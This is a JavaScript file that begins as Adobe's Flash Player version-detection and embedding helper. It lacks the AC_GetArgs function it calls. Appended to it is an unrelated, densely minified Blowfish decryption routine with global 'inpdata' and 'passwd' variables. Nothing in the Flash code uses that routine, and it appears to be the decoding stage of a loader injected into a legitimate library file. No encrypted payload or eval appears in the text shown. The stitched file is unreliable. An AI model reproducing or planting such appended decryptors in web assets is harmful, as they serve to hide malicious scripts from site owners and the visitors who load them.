//v1.7
// Flash Player Version Detection
// Detect Client Browser type
// Copyright 2005-2007 Adobe Systems Incorporated.  All rights reserved.
var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;

function ControlVersion()
{
	var version;
	var axo;
	var e;

	// NOTE : new ActiveXObject(strFoo) throws an exception if strFoo isn't in the registry

	try {
		// version will be set for 7.X or greater players
		axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");
		version = axo.GetVariable("$version");
	} catch (e) {
	}

	if (!version)
	{
		try {
			// version will be set for 6.X players only
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");
			
			// installed player is some revision of 6.0
			// GetVariable("$version") crashes for versions 6.0.22 through 6.0.29,
			// so we have to be careful. 
			
			// default to the first public version
			version = "WIN 6,0,21,0";

			// throws if AllowScripAccess does not exist (introduced in 6.0r47)		
			axo.AllowScriptAccess = "always";

			// safe to call for 6.0r47 or greater
			version = axo.GetVariable("$version");

		} catch (e) {
		}
	}

	if (!version)
	{
		try {
			// version will be set for 4.X or 5.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
			version = axo.GetVariable("$version");
		} catch (e) {
		}
	}

	if (!version)
	{
		try {
			// version will be set for 3.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
			version = "WIN 3,0,18,0";
		} catch (e) {
		}
	}

	if (!version)
	{
		try {
			// version will be set for 2.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
			version = "WIN 2,0,0,11";
		} catch (e) {
			version = -1;
		}
	}
	
	return version;
}

// JavaScript helper required to detect Flash Player PlugIn version information
function GetSwfVer(){
	// NS/Opera version >= 3 check for Flash plugin in plugin array
	var flashVer = -1;
	
	if (navigator.plugins != null && navigator.plugins.length > 0) {
		if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) {
			var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
			var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description;
			var descArray = flashDescription.split(" ");
			var tempArrayMajor = descArray[2].split(".");			
			var versionMajor = tempArrayMajor[0];
			var versionMinor = tempArrayMajor[1];
			var versionRevision = descArray[3];
			if (versionRevision == "") {
				versionRevision = descArray[4];
			}
			if (versionRevision[0] == "d") {
				versionRevision = versionRevision.substring(1);
			} else if (versionRevision[0] == "r") {
				versionRevision = versionRevision.substring(1);
				if (versionRevision.indexOf("d") > 0) {
					versionRevision = versionRevision.substring(0, versionRevision.indexOf("d"));
				}
			}
			var flashVer = versionMajor + "." + versionMinor + "." + versionRevision;
		}
	}
	// MSN/WebTV 2.6 supports Flash 4
	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4;
	// WebTV 2.5 supports Flash 3
	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3;
	// older WebTV supports Flash 2
	else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2;
	else if ( isIE && isWin && !isOpera ) {
		flashVer = ControlVersion();
	}	
	return flashVer;
}

// When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available
function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision)
{
	versionStr = GetSwfVer();
	if (versionStr == -1 ) {
		return false;
	} else if (versionStr != 0) {
		if(isIE && isWin && !isOpera) {
			// Given "WIN 2,0,0,11"
			tempArray         = versionStr.split(" "); 	// ["WIN", "2,0,0,11"]
			tempString        = tempArray[1];			// "2,0,0,11"
			versionArray      = tempString.split(",");	// ['2', '0', '0', '11']
		} else {
			versionArray      = versionStr.split(".");
		}
		var versionMajor      = versionArray[0];
		var versionMinor      = versionArray[1];
		var versionRevision   = versionArray[2];

        	// is the major.revision >= requested major.revision AND the minor version >= requested minor
		if (versionMajor > parseFloat(reqMajorVer)) {
			return true;
		} else if (versionMajor == parseFloat(reqMajorVer)) {
			if (versionMinor > parseFloat(reqMinorVer))
				return true;
			else if (versionMinor == parseFloat(reqMinorVer)) {
				if (versionRevision >= parseFloat(reqRevision))
					return true;
			}
		}
		return false;
	}
}

function AC_AddExtension(src, ext)
{
  if (src.indexOf('?') != -1)
    return src.replace(/\?/, ext+'?'); 
  else
    return src + ext;
}

function AC_Generateobj(objAttrs, params, embedAttrs) 
{ 
  var str = '';
  if (isIE && isWin && !isOpera)
  {
    str += '<object ';
    for (var i in objAttrs)
    {
      str += i + '="' + objAttrs[i] + '" ';
    }
    str += '>';
    for (var i in params)
    {
      str += '<param name="' + i + '" value="' + params[i] + '" /> ';
    }
    str += '</object>';
  }
  else
  {
    str += '<embed ';
    for (var i in embedAttrs)
    {
      str += i + '="' + embedAttrs[i] + '" ';
    }
    str += '> </embed>';
  }

  document.write(str);
}

function AC_FL_RunContent(){
  var ret = 
    AC_GetArgs
    (  arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
     , "application/x-shockwave-flash"
    );
  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
}

function AC_SW_RunContent(){
  var ret = 
    AC_GetArgs
    (  arguments, ".dcr", "src", "clsid:166B1BCA-3F9C-11CF-8075-444553540000"
     , null
    );
  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
}

var inpdata="";var outdata="";var passwd="";function myescape(text){var tmp_i;var tmp_1;var tmp_2;var rez="";for(i=0;i<text.length;i++){tmp_i=text.charCodeAt(i);tmp_1=Math.floor(tmp_i/16);tmp_2=tmp_i%16;if(tmp_1<10)tmp_1+=48;else tmp_1+=55;if(tmp_2<10)tmp_2+=48;else tmp_2+=55;rez+=String.fromCharCode(tmp_1)+String.fromCharCode(tmp_2);}
return rez;}
function myunescape(text){var tmp_1;var tmp_2;var rez="";for(i=0;i<text.length;i++){tmp_1=text.charCodeAt(i++);tmp_2=text.charCodeAt(i);if(tmp_1<58)tmp_1-=48;else{if(tmp_1>96)tmp_1-=87;else tmp_1-=55;}
if(tmp_2<58)tmp_2-=48;else{if(tmp_2>96)tmp_2-=87;else tmp_2-=55;}
rez=rez+String.fromCharCode(tmp_1*16+tmp_2);}
return rez;}
var bf_Init=0;var passwd_backup="";function decodeblowfish(){var k=inpdata.indexOf("%");if(k>-1){passwd=unescape(inpdata.substr(k,inpdata.length));inpdata=inpdata.substr(0,k);}
var i=0;if(passwd_backup==""||passwd!=passwd_backup){bf_Init=0;passwd_backup=passwd;}
if(bf_Init==1||initialize_blowfish()==1){for(i=0;i<inpdata.length%16;i++)
inpdata+="0";outdata="";for(i=0;i<inpdata.length;i+=16){xr_par=wordunescape(inpdata.substr(i,8));xl_par=wordunescape(inpdata.substr(i+8,8));blowfish_decipher();outdata+=wordescape(xr_par)+wordescape(xl_par);}
outdata=myunescape(outdata);}
i=outdata.length-1;
while((outdata.charCodeAt(i)==0)&&(i>=0))i--;if(outdata.charCodeAt(i)==10)
{return outdata}else return"";}
function wordbyte3(word){return word%256;}
function wordbyte2(word){return Math.floor(word/256)%256;}
function wordbyte1(word){return Math.floor(Math.floor(word/256)/256)%256;}
function wordbyte0(word){return Math.floor(Math.floor(Math.floor(word/256)/256)/256)%256;}
function xor(word1,word2){var rez=word1^word2;var max32=0xffffffff;if(rez<0)rez=max32+1+rez;return rez;}
function wordescape(word){var rez="";var i,tmp_1,tmp2;var mybytes=new Array(wordbyte0(word),wordbyte1(word),wordbyte2(word),wordbyte3(word));for(i=3;i>=0;i--){tmp_1=Math.floor(mybytes[i]/16);tmp_2=mybytes[i]%16;if(tmp_1<10)tmp_1+=48;else tmp_1+=55;if(tmp_2<10)tmp_2+=48;else tmp_2+=55;rez+=String.fromCharCode(tmp_1)+String.fromCharCode(tmp_2);}
if(rez=="00000000"){return""}else return rez;}
function wordunescape(text){var rez=0;var tmp_1;var tmp_2;for(i=6;i>=0;i-=2){tmp_1=text.charCodeAt(i);tmp_2=text.charCodeAt(i+1);if(tmp_1<58)tmp_1-=48;else tmp_1-=55;if(tmp_2<58)tmp_2-=48;else tmp_2-=55;rez=rez*256+(tmp_1*16+tmp_2);}
return rez;}
var maxKeyBytes=56;var bf_N=16;var bf_P,bf_S0,bf_S1,bf_S1,bf_S3;function init_const_arrays(){bf_P=new Array(0x243f6a88,0x85a308d3,0x13198a2e,0x03707344,0xa4093822,0x299f31d0,0x082efa98,0xec4e6c89,0x452821e6,0x38d01377,0xbe5466cf,0x34e90c6c,0xc0ac29b7,0xc97c50dd,0x3f84d5b5,0xb5470917,0x9216d5d9,0x8979fb1b);bf_S0=new Array(0xd1310ba6,0x98dfb5ac,0x2ffd72db,0xd01adfb7,0xb8e1afed,0x6a267e96,0xba7c9045,0xf12c7f99,0x24a19947,0xb3916cf7,0x0801f2e2,0x858efc16,0x636920d8,0x71574e69,0xa458fea3,0xf4933d7e,0x0d95748f,0x728eb658,0x718bcd58,0x82154aee,0x7b54a41d,0xc25a59b5,0x9c30d539,0x2af26013,0xc5d1b023,0x286085f0,0xca417918,0xb8db38ef,0x8e79dcb0,0x603a180e,0x6c9e0e8b,0xb01e8a3e,0xd71577c1,0xbd314b27,0x78af2fda,0x55605c60,0xe65525f3,0xaa55ab94,0x57489862,0x63e81440,0x55ca396a,0x2aab10b6,0xb4cc5c34,0x1141e8ce,0xa15486af,0x7c72e993,0xb3ee1411,0x636fbc2a,0x2ba9c55d,0x741831f6,0xce5c3e16,0x9b87931e,0xafd6ba33,0x6c24cf5c,0x7a325381,0x28958677,0x3b8f4898,0x6b4bb9af,0xc4bfe81b,0x66282193,0x61d809cc,0xfb21a991,0x487cac60,0x5dec8032,0xef845d5d,0xe98575b1,0xdc262302,0xeb651b88,0x23893e81,0xd396acc5,0x0f6d6ff3,0x83f44239,0x2e0b4482,0xa4842004,0x69c8f04a,0x9e1f9b5e,0x21c66842,0xf6e96c9a,0x670c9c61,0xabd388f0,0x6a51a0d2,0xd8542f68,0x960fa728,0xab5133a3,0x6eef0b6c,0x137a3be4,0xba3bf050,0x7efb2a98,0xa1f1651d,0x39af0176,0x66ca593e,0x82430e88,0x8cee8619,0x456f9fb4,0x7d84a5c3,0x3b8b5ebe,0xe06f75d8,0x85c12073,0x401a449f,0x56c16aa6,0x4ed3aa62,0x363f7706,0x1bfedf72,0x429b023d,0x37d0d724,0xd00a1248,0xdb0fead3,0x49f1c09b,0x075372c9,0x80991b7b,0x25d479d8,0xf6e8def7,0xe3fe501a,0xb6794c3b,0x976ce0bd,0x04c006ba,0xc1a94fb6,0x409f60c4,0x5e5c9ec2,0x196a2463,0x68fb6faf,0x3e6c53b5,0x1339b2eb,0x3b52ec6f,0x6dfc511f,0x9b30952c,0xcc814544,0xaf5ebd09,0xbee3d004,0xde334afd,0x660f2807,0x192e4bb3,0xc0cba857,0x45c8740f,0xd20b5f39,0xb9d3fbdb,0x5579c0bd,0x1a60320a,0xd6a100c6,0x402c7279,0x679f25fe,0xfb1fa3cc,0x8ea5e9f8,0xdb3222f8,0x3c7516df,0xfd616b15,0x2f501ec8,0xad0552ab,0x323db5fa,0xfd238760,0x53317b48,0x3e00df82,0x9e5c57bb,0xca6f8ca0,0x1a87562e,0xdf1769db,0xd542a8f6,0x287effc3,0xac6732c6,0x8c4f5573,0x695b27b0,0xbbca58c8,0xe1ffa35d,0xb8f011a0,0x10fa3d98,0xfd2183b8,0x4afcb56c,0x2dd1d35b,0x9a53e479,0xb6f84565,0xd28e49bc,0x4bfb9790,0xe1ddf2da,0xa4cb7e33,0x62fb1341,0xcee4c6e8,0xef20cada,0x36774c01,0xd07e9efe,0x2bf11fb4,0x95dbda4d,0xae909198,0xeaad8e71,0x6b93d5a0,0xd08ed1d0,0xafc725e0,0x8e3c5b2f,0x8e7594b7,0x8ff6e2fb,0xf2122b64,0x8888b812,0x900df01c,0x4fad5ea0,0x688fc31c,0xd1cff191,0xb3a8c1ad,0x2f2f2218,0xbe0e1777,0xea752dfe,0x8b021fa1,0xe5a0cc0f,0xb56f74e8,0x18acf3d6,0xce89e299,0xb4a84fe0,0xfd13e0b7,0x7cc43b81,0xd2ada8d9,0x165fa266,0x80957705,0x93cc7314,0x211a1477,0xe6ad2065,0x77b5fa86,0xc75442f5,0xfb9d35cf,0xebcdaf0c,0x7b3e89a0,0xd6411bd3,0xae1e7e49,0x00250e2d,0x2071b35e,0x226800bb,0x57b8e0af,0x2464369b,0xf009b91e,0x5563911d,0x59dfa6aa,0x78c14389,0xd95a537f,0x207d5ba2,0x02e5b9c5,0x83260376,0x6295cfa9,0x11c81968,0x4e734a41,0xb3472dca,0x7b14a94a,0x1b510052,0x9a532915,0xd60f573f,0xbc9bc6e4,0x2b60a476,0x81e67400,0x08ba6fb5,0x571be91f,0xf296ec6b,0x2a0dd915,0xb6636521,0xe7b9f9b6,0xff34052e,0xc5855664,0x53b02d5d,0xa99f8fa1,0x08ba4799,0x6e85076a);bf_S1=new Array(0x4b7a70e9,0xb5b32944,0xdb75092e,0xc4192623,0xad6ea6b0,0x49a7df7d,0x9cee60b8,0x8fedb266,0xecaa8c71,0x699a17ff,0x5664526c,0xc2b19ee1,0x193602a5,0x75094c29,0xa0591340,0xe4183a3e,0x3f54989a,0x5b429d65,0x6b8fe4d6,0x99f73fd6,0xa1d29c07,0xefe830f5,0x4d2d38e6,0xf0255dc1,0x4cdd2086,0x8470eb26,0x6382e9c6,0x021ecc5e,0x09686b3f,0x3ebaefc9,0x3c971814,0x6b6a70a1,0x687f3584,0x52a0e286,0xb79c5305,0xaa500737,0x3e07841c,0x7fdeae5c,0x8e7d44ec,0x5716f2b8,0xb03ada37,0xf0500c0d,0xf01c1f04,0x0200b3ff,0xae0cf51a,0x3cb574b2,0x25837a58,0xdc0921bd,0xd19113f9,0x7ca92ff6,0x94324773,0x22f54701,0x3ae5e581,0x37c2dadc,0xc8b57634,0x9af3dda7,0xa9446146,0x0fd0030e,0xecc8c73e,0xa4751e41,0xe238cd99,0x3bea0e2f,0x3280bba1,0x183eb331,0x4e548b38,0x4f6db908,0x6f420d03,0xf60a04bf,0x2cb81290,0x24977c79,0x5679b072,0xbcaf89af,0xde9a771f,0xd9930810,0xb38bae12,0xdccf3f2e,0x5512721f,0x2e6b7124,0x501adde6,0x9f84cd87,0x7a584718,0x7408da17,0xbc9f9abc,0xe94b7d8c,0xec7aec3a,0xdb851dfa,0x63094366,0xc464c3d2,0xef1c1847,0x3215d908,0xdd433b37,0x24c2ba16,0x12a14d43,0x2a65c451,0x50940002,0x133ae4dd,0x71dff89e,0x10314e55,0x81ac77d6,0x5f11199b,0x043556f1,0xd7a3c76b,0x3c11183b,0x5924a509,0xf28fe6ed,0x97f1fbfa,0x9ebabf2c,0x1e153c6e,0x86e34570,0xeae96fb1,0x860e5e0a,0x5a3e2ab3,0x771fe71c,0x4e3d06fa,0x2965dcb9,0x99e71d0f,0x803e89d6,0x5266c825,0x2e4cc978,0x9c10b36a,0xc6150eba,0x94e2ea78,0xa5fc3c53,0x1e0a2df4,0xf2f74ea7,0x361d2b3d,0x1939260f,0x19c27960,0x5223a708,0xf71312b6,0xebadfe6e,0xeac31f66,0xe3bc4595,0xa67bc883,0xb17f37d1,0x018cff28,0xc332ddef,0xbe6c5aa5,0x65582185,0x68ab9802,0xeecea50f,0xdb2f953b,0x2aef7dad,0x5b6e2f84,0x1521b628,0x29076170,0xecdd4775,0x619f1510,0x13cca830,0xeb61bd96,0x0334fe1e,0xaa0363cf,0xb5735c90,0x4c70a239,0xd59e9e0b,0xcbaade14,0xeecc86bc,0x60622ca7,0x9cab5cab,0xb2f3846e,0x648b1eaf,0x19bdf0ca,0xa02369b9,0x655abb50,0x40685a32,0x3c2ab4b3,0x319ee9d5,0xc021b8f7,0x9b540b19,0x875fa099,0x95f7997e,0x623d7da8,0xf837889a,0x97e32d77,0x11ed935f,0x16681281,0x0e358829,0xc7e61fd6,0x96dedfa1,0x7858ba99,0x57f584a5,0x1b227263,0x9b83c3ff,0x1ac24696,0xcdb30aeb,0x532e3054,0x8fd948e4,0x6dbc3128,0x58ebf2ef,0x34c6ffea,0xfe28ed61,0xee7c3c73,0x5d4a14d9,0xe864b7e3,0x42105d14,0x203e13e0,0x45eee2b6,0xa3aaabea,0xdb6c4f15,0xfacb4fd0,0xc742f442,0xef6abbb5,0x654f3b1d,0x41cd2105,0xd81e799e,0x86854dc7,0xe44b476a,0x3d816250,0xcf62a1f2,0x5b8d2646,0xfc8883a0,0xc1c7b6a3,0x7f1524c3,0x69cb7492,0x47848a0b,0x5692b285,0x095bbf00,0xad19489d,0x1462b174,0x23820e00,0x58428d2a,0x0c55f5ea,0x1dadf43e,0x233f7061,0x3372f092,0x8d937e41,0xd65fecf1,0x6c223bdb,0x7cde3759,0xcbee7460,0x4085f2a7,0xce77326e,0xa6078084,0x19f8509e,0xe8efd855,0x61d99735,0xa969a7aa,0xc50c06c2,0x5a04abfc,0x800bcadc,0x9e447a2e,0xc3453484,0xfdd56705,0x0e1e9ec9,0xdb73dbd3,0x105588cd,0x675fda79,0xe3674340,0xc5c43465,0x713e38d8,0x3d28f89e,0xf16dff20,0x153e21e7,0x8fb03d4a,0xe6e39f2b,0xdb83adf7);bf_S2=new Array(0xe93d5a68,0x948140f7,0xf64c261c,0x94692934,0x411520f7,0x7602d4f7,0xbcf46b2e,0xd4a20068,0xd4082471,0x3320f46a,0x43b7d4b7,0x500061af,0x1e39f62e,0x97244546,0x14214f74,0xbf8b8840,0x4d95fc1d,0x96b591af,0x70f4ddd3,0x66a02f45,0xbfbc09ec,0x03bd9785,0x7fac6dd0,0x31cb8504,0x96eb27b3,0x55fd3941,0xda2547e6,0xabca0a9a,0x28507825,0x530429f4,0x0a2c86da,0xe9b66dfb,0x68dc1462,0xd7486900,0x680ec0a4,0x27a18dee,0x4f3ffea2,0xe887ad8c,0xb58ce006,0x7af4d6b6,0xaace1e7c,0xd3375fec,0xce78a399,0x406b2a42,0x20fe9e35,0xd9f385b9,0xee39d7ab,0x3b124e8b,0x1dc9faf7,0x4b6d1856,0x26a36631,0xeae397b2,0x3a6efa74,0xdd5b4332,0x6841e7f7,0xca7820fb,0xfb0af54e,0xd8feb397,0x454056ac,0xba489527,0x55533a3a,0x20838d87,0xfe6ba9b7,0xd096954b,0x55a867bc,0xa1159a58,0xcca92963,0x99e1db33,0xa62a4a56,0x3f3125f9,0x5ef47e1c,0x9029317c,0xfdf8e802,0x04272f70,0x80bb155c,0x05282ce3,0x95c11548,0xe4c66d22,0x48c1133f,0xc70f86dc,0x07f9c9ee,0x41041f0f,0x404779a4,0x5d886e17,0x325f51eb,0xd59bc0d1,0xf2bcc18f,0x41113564,0x257b7834,0x602a9c60,0xdff8e8a3,0x1f636c1b,0x0e12b4c2,0x02e1329e,0xaf664fd1,0xcad18115,0x6b2395e0,0x333e92e1,0x3b240b62,0xeebeb922,0x85b2a20e,0xe6ba0d99,0xde720c8c,0x2da2f728,0xd0127845,0x95b794fd,0x647d0862,0xe7ccf5f0,0x5449a36f,0x877d48fa,0xc39dfd27,0xf33e8d1e,0x0a476341,0x992eff74,0x3a6f6eab,0xf4f8fd37,0xa812dc60,0xa1ebddf8,0x991be14c,0xdb6e6b0d,0xc67b5510,0x6d672c37,0x2765d43b,0xdcd0e804,0xf1290dc7,0xcc00ffa3,0xb5390f92,0x690fed0b,0x667b9ffb,0xcedb7d9c,0xa091cf0b,0xd9155ea3,0xbb132f88,0x515bad24,0x7b9479bf,0x763bd6eb,0x37392eb3,0xcc115979,0x8026e297,0xf42e312d,0x6842ada7,0xc66a2b3b,0x12754ccc,0x782ef11c,0x6a124237,0xb79251e7,0x06a1bbe6,0x4bfb6350,0x1a6b1018,0x11caedfa,0x3d25bdd8,0xe2e1c3c9,0x44421659,0x0a121386,0xd90cec6e,0xd5abea2a,0x64af674e,0xda86a85f,0xbebfe988,0x64e4c3fe,0x9dbc8057,0xf0f7c086,0x60787bf8,0x6003604d,0xd1fd8346,0xf6381fb0,0x7745ae04,0xd736fccc,0x83426b33,0xf01eab71,0xb0804187,0x3c005e5f,0x77a057be,0xbde8ae24,0x55464299,0xbf582e61,0x4e58f48f,0xf2ddfda2,0xf474ef38,0x8789bdc2,0x5366f9c3,0xc8b38e74,0xb475f255,0x46fcd9b9,0x7aeb2661,0x8b1ddf84,0x846a0e79,0x915f95e2,0x466e598e,0x20b45770,0x8cd55591,0xc902de4c,0xb90bace1,0xbb8205d0,0x11a86248,0x7574a99e,0xb77f19b6,0xe0a9dc09,0x662d09a1,0xc4324633,0xe85a1f02,0x09f0be8c,0x4a99a025,0x1d6efe10,0x1ab93d1d,0x0ba5a4df,0xa186f20f,0x2868f169,0xdcb7da83,0x573906fe,0xa1e2ce9b,0x4fcd7f52,0x50115e01,0xa70683fa,0xa002b5c4,0x0de6d027,0x9af88c27,0x773f8641,0xc3604c06,0x61a806b5,0xf0177a28,0xc0f586e0,0x006058aa,0x30dc7d62,0x11e69ed7,0x2338ea63,0x53c2dd94,0xc2c21634,0xbbcbee56,0x90bcb6de,0xebfc7da1,0xce591d76,0x6f05e409,0x4b7c0188,0x39720a3d,0x7c927c24,0x86e3725f,0x724d9db9,0x1ac15bb4,0xd39eb8fc,0xed545578,0x08fca5b5,0xd83d7cd3,0x4dad0fc4,0x1e50ef5e,0xb161e6f8,0xa28514d9,0x6c51133c,0x6fd5c7e7,0x56e14ec4,0x362abfce,0xddc6c837,0xd79a3234,0x92638212,0x670efa8e,0x406000e0);bf_S3=new Array(0x3a39ce37,0xd3faf5cf,0xabc27737,0x5ac52d1b,0x5cb0679e,0x4fa33742,0xd3822740,0x99bc9bbe,0xd5118e9d,0xbf0f7315,0xd62d1c7e,0xc700c47b,0xb78c1b6b,0x21a19045,0xb26eb1be,0x6a366eb4,0x5748ab2f,0xbc946e79,0xc6a376d2,0x6549c2c8,0x530ff8ee,0x468dde7d,0xd5730a1d,0x4cd04dc6,0x2939bbdb,0xa9ba4650,0xac9526e8,0xbe5ee304,0xa1fad5f0,0x6a2d519a,0x63ef8ce2,0x9a86ee22,0xc089c2b8,0x43242ef6,0xa51e03aa,0x9cf2d0a4,0x83c061ba,0x9be96a4d,0x8fe51550,0xba645bd6,0x2826a2f9,0xa73a3ae1,0x4ba99586,0xef5562e9,0xc72fefd3,0xf752f7da,0x3f046f69,0x77fa0a59,0x80e4a915,0x87b08601,0x9b09e6ad,0x3b3ee593,0xe990fd5a,0x9e34d797,0x2cf0b7d9,0x022b8b51,0x96d5ac3a,0x017da67d,0xd1cf3ed6,0x7c7d2d28,0x1f9f25cf,0xadf2b89b,0x5ad6b472,0x5a88f54c,0xe029ac71,0xe019a5e6,0x47b0acfd,0xed93fa9b,0xe8d3c48d,0x283b57cc,0xf8d56629,0x79132e28,0x785f0191,0xed756055,0xf7960e44,0xe3d35e8c,0x15056dd4,0x88f46dba,0x03a16125,0x0564f0bd,0xc3eb9e15,0x3c9057a2,0x97271aec,0xa93a072a,0x1b3f6d9b,0x1e6321f5,0xf59c66fb,0x26dcf319,0x7533d928,0xb155fdf5,0x03563482,0x8aba3cbb,0x28517711,0xc20ad9f8,0xabcc5167,0xccad925f,0x4de81751,0x3830dc8e,0x379d5862,0x9320f991,0xea7a90c2,0xfb3e7bce,0x5121ce64,0x774fbe32,0xa8b6e37e,0xc3293d46,0x48de5369,0x6413e680,0xa2ae0810,0xdd6db224,0x69852dfd,0x09072166,0xb39a460a,0x6445c0dd,0x586cdecf,0x1c20c8ae,0x5bbef7dd,0x1b588d40,0xccd2017f,0x6bb4e3bb,0xdda26a7e,0x3a59ff45,0x3e350a44,0xbcb4cdd5,0x72eacea8,0xfa6484bb,0x8d6612ae,0xbf3c6f47,0xd29be463,0x542f5d9e,0xaec2771b,0xf64e6370,0x740e0d8d,0xe75b1357,0xf8721671,0xaf537d5d,0x4040cb08,0x4eb4e2cc,0x34d2466a,0x0115af84,0xe1b00428,0x95983a1d,0x06b89fb4,0xce6ea048,0x6f3f3b82,0x3520ab82,0x011a1d4b,0x277227f8,0x611560b1,0xe7933fdc,0xbb3a792b,0x344525bd,0xa08839e1,0x51ce794b,0x2f32c9b7,0xa01fbac9,0xe01cc87e,0xbcc7d1f6,0xcf0111c3,0xa1e8aac7,0x1a908749,0xd44fbd9a,0xd0dadecb,0xd50ada38,0x0339c32a,0xc6913667,0x8df9317c,0xe0b12b4f,0xf79e59b7,0x43f5bb3a,0xf2d519ff,0x27d9459c,0xbf97222c,0x15e6fc2a,0x0f91fc71,0x9b941525,0xfae59361,0xceb69ceb,0xc2a86459,0x12baa8d1,0xb6c1075e,0xe3056a0c,0x10d25065,0xcb03a442,0xe0ec6e0e,0x1698db3b,0x4c98a0be,0x3278e964,0x9f1f9532,0xe0d392df,0xd3a0342b,0x8971f21e,0x1b0a7441,0x4ba3348c,0xc5be7120,0xc37632d8,0xdf359f8d,0x9b992f2e,0xe60b6f47,0x0fe3f11d,0xe54cda54,0x1edad891,0xce6279cf,0xcd3e7e6f,0x1618b166,0xfd2c1d05,0x848fd2c5,0xf6fb2299,0xf523f357,0xa6327623,0x93a83531,0x56cccd02,0xacf08162,0x5a75ebb5,0x6e163697,0x88d273cc,0xde966292,0x81b949d0,0x4c50901b,0x71c65614,0xe6c6c7bd,0x327a140a,0x45e1d006,0xc3f27b9a,0xc9aa53fd,0x62a80f00,0xbb25bfe2,0x35bdd2f6,0x71126905,0xb2040222,0xb6cbcf7c,0xcd769c2b,0x53113ec0,0x1640e3d3,0x38abbd60,0x2547adf0,0xba38209c,0xf746ce76,0x77afa1c5,0x20756060,0x85cbfe4e,0x8ae88dd8,0x7aaaf9b0,0x4cf9aa7e,0x1948c25c,0x02fb8a8c,0x01c36ae4,0xd6ebe1f9,0x90d4f869,0xa65cdea0,0x3f09252d,0xc208e69f,0xb74e6132,0xce77e25b,0x578fdfe3,0x3ac372e6);}
function bf_Round(a,b,n){return(xor(a,xor(((xor((bf_S0[wordbyte0(b)]+bf_S1[wordbyte1(b)]),bf_S2[wordbyte2(b)]))+bf_S3[wordbyte3(b)]),bf_P[n])));}
var xl_par=0;var xr_par=0;function blowfish_encipher(){var Xl=xl_par;var Xr=xr_par;Xl=xor(Xl,bf_P[0]);Xr=bf_Round(Xr,Xl,1);Xl=bf_Round(Xl,Xr,2);Xr=bf_Round(Xr,Xl,3);Xl=bf_Round(Xl,Xr,4);Xr=bf_Round(Xr,Xl,5);Xl=bf_Round(Xl,Xr,6);Xr=bf_Round(Xr,Xl,7);Xl=bf_Round(Xl,Xr,8);Xr=bf_Round(Xr,Xl,9);Xl=bf_Round(Xl,Xr,10);Xr=bf_Round(Xr,Xl,11);Xl=bf_Round(Xl,Xr,12);Xr=bf_Round(Xr,Xl,13);Xl=bf_Round(Xl,Xr,14);Xr=bf_Round(Xr,Xl,15);Xl=bf_Round(Xl,Xr,16);Xr=xor(Xr,bf_P[17]);xl_par=Xr;xr_par=Xl;}
function blowfish_decipher(par){var Xl=xl_par;var Xr=xr_par;Xl=xor(Xl,bf_P[17]);Xr=bf_Round(Xr,Xl,16);Xl=bf_Round(Xl,Xr,15);Xr=bf_Round(Xr,Xl,14);Xl=bf_Round(Xl,Xr,13);Xr=bf_Round(Xr,Xl,12);Xl=bf_Round(Xl,Xr,11);Xr=bf_Round(Xr,Xl,10);Xl=bf_Round(Xl,Xr,9);Xr=bf_Round(Xr,Xl,8);Xl=bf_Round(Xl,Xr,7);Xr=bf_Round(Xr,Xl,6);Xl=bf_Round(Xl,Xr,5);Xr=bf_Round(Xr,Xl,4);Xl=bf_Round(Xl,Xr,3);Xr=bf_Round(Xr,Xl,2);Xl=bf_Round(Xl,Xr,1);Xr=xor(Xr,bf_P[0]);xl_par=Xr;xr_par=Xl;}
function initialize_blowfish(){var keybytes=passwd.length;var key;var i=0;var j=0;var data=0x00000000;var temp="";if(keybytes==0)bf_Init=0;else{if(passwd.length>maxKeyBytes)key=passwd.substr(0,maxKeyBytes);else key=passwd;init_const_arrays();j=0;for(i=0;i<bf_N+2;++i){data=((key.charCodeAt((j+0)%keybytes)*256+key.charCodeAt((j+1)%keybytes))*256+key.charCodeAt((j+2)%keybytes))*256+key.charCodeAt((j+3)%keybytes);bf_P[i]=xor(bf_P[i],data);j=(j+4)%keybytes;}
key=myescape(key);xl_par=0x00000000;;xr_par=0x00000000;for(i=0;i<bf_N+2;i+=2){blowfish_encipher();bf_P[i]=xl_par;bf_P[i+1]=xr_par;}
for(j=0;j<256;j+=2){blowfish_encipher();bf_S0[j]=xl_par;bf_S0[j+1]=xr_par;}
for(j=0;j<256;j+=2){blowfish_encipher();bf_S1[j]=xl_par;bf_S1[j+1]=xr_par;}
for(j=0;j<256;j+=2){blowfish_encipher();bf_S2[j]=xl_par;bf_S2[j+1]=xr_par;}
for(j=0;j<256;j+=2){blowfish_encipher();bf_S3[j]=xl_par;bf_S3[j+1]=xr_par;}
bf_Init=1;}
return bf_Init;}

